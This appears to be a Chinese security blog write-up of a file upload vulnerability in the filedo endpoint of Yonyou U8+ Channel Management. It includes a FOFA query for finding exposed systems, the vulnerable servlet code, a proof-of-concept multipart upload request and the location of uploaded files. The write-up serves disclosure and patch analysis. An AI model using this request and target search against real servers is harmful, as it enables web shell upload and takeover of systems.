用友U8+渠道管理(高级版) filedo 文件上传漏洞


漏洞简介

用友U8+是用友网络科技股份有限公司推出的企业管理综合平台,广泛应用于财务、进销存、人力资源等企业核心业务系统中。在U8+渠道管理(高级版)模块中,存在一处文件上传漏洞,位于其 filedo 接口。攻击者可通过构造特定的HTTP请求,将恶意脚本或可执行文件上传至服务器。该漏洞可能导致攻击者在目标服务器上执行任意代码,从而获取服务器控制权限,进一步窃取敏感数据、篡改业务数据或对内网其他系统发起攻击。

影响版本

V18, V16.5, V16.1, V16.0, V15.1, V15.0, V13

fofa语法

title="渠道管理(高级版)"

漏洞分析

根据补丁变化

直接看 UploadServlet 在那里引用了

<servlet>
    <servlet-name>UploadServlet</servlet-name>
    <servlet-class>com.gxfcsoft.framework.core.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>UploadServlet</servlet-name>
    <url-pattern>*.filedo</url-pattern>
</servlet-mapping>

ok,根据servlet的映射,任意以.filedo 结尾的请求都会经由UploadServlet 处理,跟进看下它的实现逻辑

package com.gxfcsoft.framework.core;

import com.alibaba.fastjson.JSONObject;
import com.gxfcsoft.framework.base.util.Oid;
import com.gxfcsoft.framework.base.util.PathUtil;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.ProgressListener;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;

public class UploadServlet extends HttpServlet {
    private static final long serialVersionUID = -298116318701283790L;

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String savePath = PathUtil.getAttachAbsoluteDirectory("default");
        String newname = "";
        String oldname = "";
        String message = "1";
        resp.setCharacterEncoding("utf-8");
        resp.setContentType("text/html;charset=utf-8");
        PrintWriter outPrint = resp.getWriter();

        try {
            File saveFile = new File(savePath);
            DiskFileItemFactory factory = new DiskFileItemFactory();
            factory.setSizeThreshold(102400);
            factory.setRepository(saveFile);
            ServletFileUpload upload = new ServletFileUpload(factory);
            upload.setProgressListener(new ProgressListener() {
                public void update(long arg0, long arg1, int arg2) {
                }
            });
            upload.setHeaderEncoding("UTF-8");
            upload.setFileSizeMax(5242880L);
            upload.setSizeMax(20971520L);
            List<FileItem> list = upload.parseRequest(req);
            if (list.size() == 0) {
                message = "500";
            }

            String code = "";
            JSONObject obj = new JSONObject();
            List<Map<String, String>> lists = new ArrayList();
            Map<String, String> map = new LinkedHashMap();

            for(FileItem item : list) {
                if (item.isFormField()) {
                    code = item.getString("utf-8");
                } else {
                    String filename = item.getName();
                    filename = filename.substring(filename.lastIndexOf("\\") + 1);
                    String suffix = filename.substring(filename.indexOf("."));
                    String randomName = Oid.getOid() + suffix;
                    if (newname == "") {
                        newname = randomName;
                    } else {
                        newname = newname + ";" + randomName;
                    }

                    if (oldname == "") {
                        oldname = filename;
                    } else {
                        oldname = oldname + ";" + filename;
                    }

                    savePath.replace("", "");
                    InputStream in = item.getInputStream();
                    FileOutputStream out = new FileOutputStream(savePath + "\\" + randomName);
                    byte[] buffer = new byte[1024];
                    int len = 0;

                    while((len = in.read(buffer)) > 0) {
                        out.write(buffer, 0, len);
                    }

                    in.close();
                    out.close();
                    item.delete();
                }
            }

            map.put("oldname", oldname);
            map.put("newname", newname);
            lists.add(map);
            obj.put("fileInfo", lists);
            obj.put("flag", "0");
            outPrint.print(obj);
        } catch (IOException e) {
            message = "1";
            e.printStackTrace();
        } catch (FileUploadException e) {
            message = "1";
            e.printStackTrace();
        } finally {
            outPrint.flush();
            outPrint.close();
        }

    }
}

文件后缀从上传文件名中获取,然后拼接到randomName后面形成新的文件名,期间对文件类型和内容无校验或过滤,因此造成任意文件上传漏洞,非常朴实无华!和U8+渠道管理(高级版) imagedo 文件上传漏洞一模一样的漏洞成因!

其实 UploadTestServlet 也存在同样的任意文件上传漏洞,不过需要合法session

    <!-- 上传图片,应该作废此方法 -->
    <servlet>
        <servlet-name>UploadTestServlet</servlet-name>
        <servlet-class>com.gxfcsoft.framework.core.UploadTestServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>UploadTestServlet</servlet-name>
        <url-pattern>/business/test/upload.imgdo</url-pattern>
    </servlet-mapping>

补丁修复也是正则白名单检测

漏洞复现

POST /temp.filedo HTTP/1.1
Host: u8.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="1.PNG"

TEST
------WebKitFormBoundary--

根据getAttachAbsoluteDirectory方法可知

上传位置默认为 /userfile/default/attach/ 目录下,访问上传文件

成功执行我们上传代码

官方补丁修复也很直接,直接正则检测后缀是否为白名单

参考


手机扫码阅读

用友U8+渠道管理(高级版) xwzfile 文件上传漏洞

红帆ioffice NetCAUserLogin.aspx SQL 注入漏洞

评 论